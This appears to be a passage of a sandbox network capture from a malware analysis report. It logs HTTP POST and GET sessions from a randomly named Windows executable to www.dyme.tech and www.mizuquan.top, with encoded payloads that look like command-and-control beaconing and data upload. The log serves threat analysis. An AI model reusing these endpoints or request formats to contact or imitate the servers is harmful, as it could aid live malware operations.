Oct 8, 2024 16:35:47.947877884 CEST	803	OUT	POST /h7lb/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.dyme.tech Origin: http://www.dyme.tech Content-Type: application/x-www-form-urlencoded Content-Length: 205 Connection: close Cache-Control: max-age=0 Referer: http://www.dyme.tech/h7lb/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 2d 4e 6e 6c 6c 56 76 48 3d 63 5a 6e 6e 5a 35 6c 77 39 6d 56 6f 73 4a 53 4a 62 2f 6b 54 33 48 37 47 37 55 79 74 4a 6e 75 7a 36 55 46 63 34 37 46 54 4d 6f 44 4a 6b 73 59 58 73 48 55 58 49 77 39 50 76 56 31 67 78 38 56 52 5a 53 77 71 6d 7a 76 78 30 45 47 7a 2b 49 51 52 62 73 7a 31 61 4f 77 38 69 4b 6e 4c 74 4e 6f 61 73 77 34 4a 38 59 6d 42 39 4f 34 66 56 49 42 43 2f 30 36 6b 6f 38 2b 69 44 57 46 55 4e 44 54 49 76 4a 64 48 75 39 68 41 47 6e 56 55 6a 54 68 69 57 64 46 46 39 32 50 64 41 79 43 46 6a 63 30 4b 74 39 6c 78 37 44 36 76 47 64 45 61 50 6f 65 77 76 63 59 76 37 5a 73 47 78 45 39 6c 7a 42 55 46 78 51 3d 3d Data Ascii: -NnllVvH=cZnnZ5lw9mVosJSJb/kT3H7G7UytJnuz6UFc47FTMoDJksYXsHUXIw9PvV1gx8VRZSwqmzvx0EGz+IQRbsz1aOw8iKnLtNoasw4J8YmB9O4fVIBC/06ko8+iDWFUNDTIvJdHu9hAGnVUjThiWdFF92PdAyCFjc0Kt9lx7D6vGdEaPoewvcYv7ZsGxE9lzBUFxQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	50030	13.248.169.48	80	2844	C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:35:50.494606972 CEST	823	OUT	POST /h7lb/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.dyme.tech Origin: http://www.dyme.tech Content-Type: application/x-www-form-urlencoded Content-Length: 225 Connection: close Cache-Control: max-age=0 Referer: http://www.dyme.tech/h7lb/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 2d 4e 6e 6c 6c 56 76 48 3d 63 5a 6e 6e 5a 35 6c 77 39 6d 56 6f 74 70 43 4a 5a 63 63 54 79 6e 37 46 2b 55 79 74 53 33 75 2f 36 55 4a 63 34 2f 31 44 4d 61 6e 4a 6c 4f 51 58 76 47 55 58 4c 77 39 50 36 6c 31 6c 31 38 56 47 5a 53 30 55 6d 33 72 78 30 45 43 7a 2b 4b 49 52 62 37 6e 36 62 65 77 69 70 71 6e 4e 6a 74 6f 61 73 77 34 4a 38 63 47 72 39 4f 67 66 56 34 78 43 2b 57 65 6c 6c 63 2b 68 54 47 46 55 47 6a 54 4d 76 4a 64 31 75 34 45 6c 47 6c 74 55 6a 53 78 69 48 76 74 45 32 32 50 62 4f 53 43 52 67 4f 73 61 31 73 63 45 31 51 2b 37 4d 39 51 71 4b 75 50 71 2b 74 35 34 70 5a 49 31 73 44 30 52 2b 43 70 4d 71 52 6e 4c 41 4f 63 35 2b 4f 53 72 31 41 59 58 51 68 4e 68 47 4c 59 3d Data Ascii: -NnllVvH=cZnnZ5lw9mVotpCJZccTyn7F+UytS3u/6UJc4/1DManJlOQXvGUXLw9P6l1l18VGZS0Um3rx0ECz+KIRb7n6bewipqnNjtoasw4J8cGr9OgfV4xC+Wellc+hTGFUGjTMvJd1u4ElGltUjSxiHvtE22PbOSCRgOsa1scE1Q+7M9QqKuPq+t54pZI1sD0R+CpMqRnLAOc5+OSr1AYXQhNhGLY=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	50031	13.248.169.48	80	2844	C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:35:53.247423887 CEST	10905	OUT	POST /h7lb/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.dyme.tech Origin: http://www.dyme.tech Content-Type: application/x-www-form-urlencoded Content-Length: 10305 Connection: close Cache-Control: max-age=0 Referer: http://www.dyme.tech/h7lb/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 2d 4e 6e 6c 6c 56 76 48 3d 63 5a 6e 6e 5a 35 6c 77 39 6d 56 6f 74 70 43 4a 5a 63 63 54 79 6e 37 46 2b 55 79 74 53 33 75 2f 36 55 4a 63 34 2f 31 44 4d 61 76 4a 6b 39 49 58 73 6c 38 58 4b 77 39 50 6d 31 31 6b 31 38 56 2b 5a 53 4e 54 6d 33 6e 48 30 47 71 7a 38 70 41 52 4c 61 6e 36 52 65 77 69 6d 4b 6e 49 74 4e 6f 50 73 77 4a 43 38 59 69 72 39 4f 67 66 56 2b 64 43 35 45 36 6c 6e 63 2b 69 44 57 46 49 4e 44 54 6b 76 49 31 66 75 34 42 51 47 52 5a 55 6b 79 42 69 46 36 78 45 71 6d 50 5a 4e 53 44 57 67 4f 52 64 31 73 42 37 31 54 69 52 4d 2f 4d 71 4c 72 75 73 71 6f 5a 66 71 50 6b 74 37 69 51 6e 2f 53 70 31 79 44 66 6c 4f 73 4d 4f 73 64 53 66 39 48 6c 61 4e 78 6c 59 52 50 48 51 68 77 70 76 6b 77 54 59 38 42 71 35 55 69 69 45 74 33 63 78 46 4c 36 2b 77 68 64 4c 4e 58 33 7a 36 57 74 74 4e 58 37 6c 30 44 59 59 6e 34 51 57 65 75 33 7a 62 58 68 68 61 66 55 31 7a 4f 45 74 6d 4e 49 4a 6d 6b 45 30 35 39 6a 78 61 46 36 6d 6e 4d 7a 6c 47 77 70 68 44 71 77 52 54 70 30 2b 4c 6d 6b 41 77 6f 51 46 53 6f 56 6a 37 48 59 49 67 [TRUNCATED] Data Ascii: -NnllVvH=cZnnZ5lw9mVotpCJZccTyn7F+UytS3u/6UJc4/1DMavJk9IXsl8XKw9Pm11k18V+ZSNTm3nH0Gqz8pARLan6RewimKnItNoPswJC8Yir9OgfV+dC5E6lnc+iDWFINDTkvI1fu4BQGRZUkyBiF6xEqmPZNSDWgORd1sB71TiRM/MqLrusqoZfqPkt7iQn/Sp1yDflOsMOsdSf9HlaNxlYRPHQhwpvkwTY8Bq5UiiEt3cxFL6+whdLNX3z6WttNX7l0DYYn4QWeu3zbXhhafU1zOEtmNIJmkE059jxaF6mnMzlGwphDqwRTp0+LmkAwoQFSoVj7HYIgamK9u2CKb5tcht6HltlpZeE79orTF5jipAbs3Iz1TULeC8/zak1bqwjO+7/thciCJx2o96RXw/fcTjl2+hgPGOjt0YPizGo1syqD8EhEL2KWQUZ5eytAR72dJ/hqaQOEcw2NHQmDhCSYbmU+MufFhVrmm5Ni3syWC7Y1xnpsVqNxVYpCDFffc9b4zPSZXBaN9VsmG/SCnLEyravEzbv9z50YzTL+C2b+uJVZYrg07UzBT2FBSHVRkcnThoxPNpR+VhHVRvsIbXMRVEWvKrCqdMD+Hq0UgToNxxaVUFiUMRC+uQBCbdvgUdOLthFW5s/w5oWLzHFEYRs8O6Phx3qmU86Jp5ai2MbQt+ZPwSmhwmjj5nYSzyvhdlSkxZ9yZ3XOszw7jEndhAvvSFxDSj1nkpADLAa5yyXfS9sRbSJIeshtGbLr4wROGZ4Bm8K9cdWmxTjShDiNCQv68IRs8ybT7dW6aPCPeEvi8DoyNTVj/wju93DoDHpIXFfXSP6ZosxPYUgEK94W9NfNhY5L03ElYuBenrheu+kKK/OxhP+oHGgUzDGY1bIBjJBQwX8GuBj4OAS3yfdtxKpqtdF+GlTUsb43qk/nFBr/cdupjDdXmPxUpCcKorUUi2OWm+9yru/pGHXwXupWhx9EjVqCK5tiM6/7eyYIb140pm [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	50032	13.248.169.48	80	2844	C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:35:55.789122105 CEST	552	OUT	GET /h7lb/?-NnllVvH=RbPHaORuq3VLsIvFE+kS4135sHK2QWKtxUtCmsRXGI6jytYd3WVHAygqsg9m4sx7IXgloFX+8G+vydQZJLP0V+w2gPP1i9gS6DQX/6Khz8EBa74P+FOl6aE=&e6mhx=LZwxPLrhqt_8A HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.dyme.tech Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Oct 8, 2024 16:35:56.288558960 CEST	404	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 08 Oct 2024 14:35:56 GMT Content-Type: text/html Content-Length: 264 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 2d 4e 6e 6c 6c 56 76 48 3d 52 62 50 48 61 4f 52 75 71 33 56 4c 73 49 76 46 45 2b 6b 53 34 31 33 35 73 48 4b 32 51 57 4b 74 78 55 74 43 6d 73 52 58 47 49 36 6a 79 74 59 64 33 57 56 48 41 79 67 71 73 67 39 6d 34 73 78 37 49 58 67 6c 6f 46 58 2b 38 47 2b 76 79 64 51 5a 4a 4c 50 30 56 2b 77 32 67 50 50 31 69 39 67 53 36 44 51 58 2f 36 4b 68 7a 38 45 42 61 37 34 50 2b 46 4f 6c 36 61 45 3d 26 65 36 6d 68 78 3d 4c 5a 77 78 50 4c 72 68 71 74 5f 38 41 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?-NnllVvH=RbPHaORuq3VLsIvFE+kS4135sHK2QWKtxUtCmsRXGI6jytYd3WVHAygqsg9m4sx7IXgloFX+8G+vydQZJLP0V+w2gPP1i9gS6DQX/6Khz8EBa74P+FOl6aE=&e6mhx=LZwxPLrhqt_8A"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	50037	43.242.202.169	80	2844	C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:36:15.630598068 CEST	812	OUT	POST /e0nr/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.mizuquan.top Origin: http://www.mizuquan.top Content-Type: application/x-www-form-urlencoded Content-Length: 205 Connection: close Cache-Control: max-age=0 Referer: http://www.mizuquan.top/e0nr/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 2d 4e 6e 6c 6c 56 76 48 3d 48 39 52 71 32 52 73 37 65 59 65 69 61 4b 74 58 63 32 31 38 6b 45 41 59 2f 54 6d 73 33 71 45 49 68 55 77 5a 77 73 7a 6b 77 72 41 6b 7a 54 5a 65 64 7a 64 50 47 56 7a 75 61 4f 37 4b 70 70 53 47 44 63 52 46 38 36 76 48 69 4a 64 42 47 63 42 32 5a 39 46 2b 45 32 38 30 63 34 53 46 34 4c 30 61 33 55 4e 69 51 52 43 47 50 2f 61 50 33 52 48 4c 75 36 6e 73 62 58 51 39 65 65 6c 77 58 61 64 74 30 6f 4d 36 50 53 37 45 4f 4f 76 48 6d 45 50 47 2f 55 57 53 4b 69 2b 6d 45 4e 56 41 79 6f 51 6f 50 4e 5a 4d 4a 49 66 4e 43 45 31 42 6b 38 53 53 67 51 55 78 59 59 77 43 59 42 42 44 2b 71 55 48 64 77 3d 3d Data Ascii: -NnllVvH=H9Rq2Rs7eYeiaKtXc218kEAY/Tms3qEIhUwZwszkwrAkzTZedzdPGVzuaO7KppSGDcRF86vHiJdBGcB2Z9F+E280c4SF4L0a3UNiQRCGP/aP3RHLu6nsbXQ9eelwXadt0oM6PS7EOOvHmEPG/UWSKi+mENVAyoQoPNZMJIfNCE1Bk8SSgQUxYYwCYBBD+qUHdw==
Oct 8, 2024 16:36:16.502734900 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 08 Oct 2024 14:36:16 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	50038	43.242.202.169	80	2844	C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:36:18.184499025 CEST	832	OUT	POST /e0nr/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.mizuquan.top Origin: http://www.mizuquan.top Content-Type: application/x-www-form-urlencoded Content-Length: 225 Connection: close Cache-Control: max-age=0 Referer: http://www.mizuquan.top/e0nr/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 2d 4e 6e 6c 6c 56 76 48 3d 48 39 52 71 32 52 73 37 65 59 65 69 61 75 70 58 51 78 70 38 6f 30 41 66 7a 7a 6d 73 39 4b 45 32 68 55 4d 5a 77 6f 69 35 77 39 77 6b 39 58 64 65 50 43 64 50 4c 31 7a 75 49 75 37 50 78 4a 53 64 44 63 56 6a 38 34 37 48 69 4a 5a 42 47 59 46 32 5a 4b 70 39 43 6d 38 32 61 34 53 4c 37 37 30 61 33 55 4e 69 51 51 6d 34 50 2f 69 50 33 43 50 4c 76 59 50 76 45 6e 51 2b 5a 65 6c 77 61 36 64 68 30 6f 4d 59 50 58 54 75 4f 4d 48 48 6d 45 66 47 2f 47 75 54 42 69 2b 73 4b 74 55 42 32 6f 68 50 4e 39 4e 41 58 4a 2f 36 64 57 42 51 68 36 44 49 78 68 31 6d 4b 59 55 78 46 47 49 33 7a 70 70 4f 47 39 39 34 38 72 70 77 55 33 76 64 34 65 37 56 77 37 66 38 48 6b 67 3d Data Ascii: -NnllVvH=H9Rq2Rs7eYeiaupXQxp8o0Afzzms9KE2hUMZwoi5w9wk9XdePCdPL1zuIu7PxJSdDcVj847HiJZBGYF2ZKp9Cm82a4SL770a3UNiQQm4P/iP3CPLvYPvEnQ+Zelwa6dh0oMYPXTuOMHHmEfG/GuTBi+sKtUB2ohPN9NAXJ/6dWBQh6DIxh1mKYUxFGI3zppOG9948rpwU3vd4e7Vw7f8Hkg=
Oct 8, 2024 16:36:19.053726912 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 08 Oct 2024 14:36:18 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	50039	43.242.202.169	80	2844	C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:36:20.728841066 CEST	10914	OUT	POST /e0nr/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.mizuquan.top Origin: http://www.mizuquan.top Content-Type: application/x-www-form-urlencoded Content-Length: 10305 Connection: close Cache-Control: max-age=0 Referer: http://www.mizuquan.top/e0nr/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 2d 4e 6e 6c 6c 56 76 48 3d 48 39 52 71 32 52 73 37 65 59 65 69 61 75 70 58 51 78 70 38 6f 30 41 66 7a 7a 6d 73 39 4b 45 32 68 55 4d 5a 77 6f 69 35 77 39 34 6b 39 6b 56 65 65 52 46 50 4b 31 7a 75 54 75 37 4f 78 4a 54 46 44 59 42 2f 38 34 32 38 69 4c 52 42 48 39 52 32 66 34 52 39 4d 6d 38 32 59 34 53 47 34 4c 31 43 33 55 64 75 51 52 57 34 50 2f 69 50 33 45 72 4c 70 4b 6e 76 47 6e 51 39 65 65 6c 4b 58 61 64 4e 30 6f 30 69 50 58 58 55 4f 39 6e 48 6e 6c 76 47 39 7a 43 54 64 79 2b 71 48 4e 56 53 32 6f 74 51 4e 39 51 7a 58 4a 4b 74 64 56 64 51 73 72 32 74 69 78 70 61 52 6f 51 6a 65 6e 55 33 30 36 6c 76 4e 2f 4e 6d 7a 62 4a 63 41 32 72 57 30 4e 6e 46 74 70 6e 4d 52 51 65 51 2b 73 31 74 46 6b 78 58 64 4f 66 57 74 71 78 5a 66 75 70 57 30 42 64 67 42 64 56 6b 56 67 62 38 54 30 56 4e 30 43 41 52 50 45 61 32 65 57 44 73 55 36 32 44 67 70 4a 35 37 6c 54 34 59 73 52 71 76 51 62 42 55 2f 4b 57 46 69 38 46 35 41 2f 32 46 52 66 50 65 49 71 62 69 65 47 41 66 2f 6a 75 42 35 2b 41 44 54 48 45 6b 79 45 59 6c 51 39 76 65 [TRUNCATED] Data Ascii: -NnllVvH=H9Rq2Rs7eYeiaupXQxp8o0Afzzms9KE2hUMZwoi5w94k9kVeeRFPK1zuTu7OxJTFDYB/8428iLRBH9R2f4R9Mm82Y4SG4L1C3UduQRW4P/iP3ErLpKnvGnQ9eelKXadN0o0iPXXUO9nHnlvG9zCTdy+qHNVS2otQN9QzXJKtdVdQsr2tixpaRoQjenU306lvN/NmzbJcA2rW0NnFtpnMRQeQ+s1tFkxXdOfWtqxZfupW0BdgBdVkVgb8T0VN0CARPEa2eWDsU62DgpJ57lT4YsRqvQbBU/KWFi8F5A/2FRfPeIqbieGAf/juB5+ADTHEkyEYlQ9veWf+0fV2P0C/dLqHL8X3VRdkKD4GBBl4/ao7EgXLQTAPHjEtiMyRCe1lSH3Rl/D64A0UZes7X8BMp/9FxRadrZtXFsuBUW+st3s9aUZHsKdna3N47CEN1QD23l1Hhk9yQf7o0+TaQS4FNQywn33ur7oyOWgdLaWrlrkrwD0wSMt1dehXpLtMxgfHbe1sJ4DaEkxmRvc8697CtdYOzZtkA7BODAHN0MdbY0pNRDC+hjhVJUFjTpGyy2S/Ufh/dsohklDjDWxgv9d5yq8SvaKl4ia98lNodu1NWZpzQTIUv9PKG91/ls7vUSBUtrsYFOJl3of4569WgA7+JNjwd1H3myycp0vLSOZJhb/UnV35WiXCLBBbB+wQiv6g2KsMKku8rdW5olPbZpayhkHB4+d6hbUmn1/usoHQ67OEh+YwtJttQWz/yBqvtrrAB4PQ0UmSTFeP0uGijrJXuPWoSS6BY+eyNeeEAK0RkW74d043jEe26AFeSM7B2lMrwPE8BQUDdd7CXzAWLCWLvVeFq6w4RjiGW0jV0bQdnuZ02quQeO0KePZDP7TuotR94aVnG5B4zjiaK0LXnMf8Y8wj77197iyj4bdXiTz5RY/ANMbjocOhY3KNWCmJEbiPJuu4ITO0ZtDEFZy72i7+d1wkdsPE+Er/sbFK+fFaLrl [TRUNCATED]
Oct 8, 2024 16:36:21.606004000 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 08 Oct 2024 14:36:21 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	50040	43.242.202.169	80	2844	C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:36:23.290067911 CEST	555	OUT	GET /e0nr/?-NnllVvH=K/5K1kUHGJjjXPw2ZEkIjVgmoRaszrgI6mASorW7taRlmnE0Vh93KWWTZt/v3aaqE5pW7Ym6hodTCoZ1X6txK3JHWMG30o4pyFBBCDSCP6CBkBrnoqSCbT0=&e6mhx=LZwxPLrhqt_8A HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.mizuquan.top Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
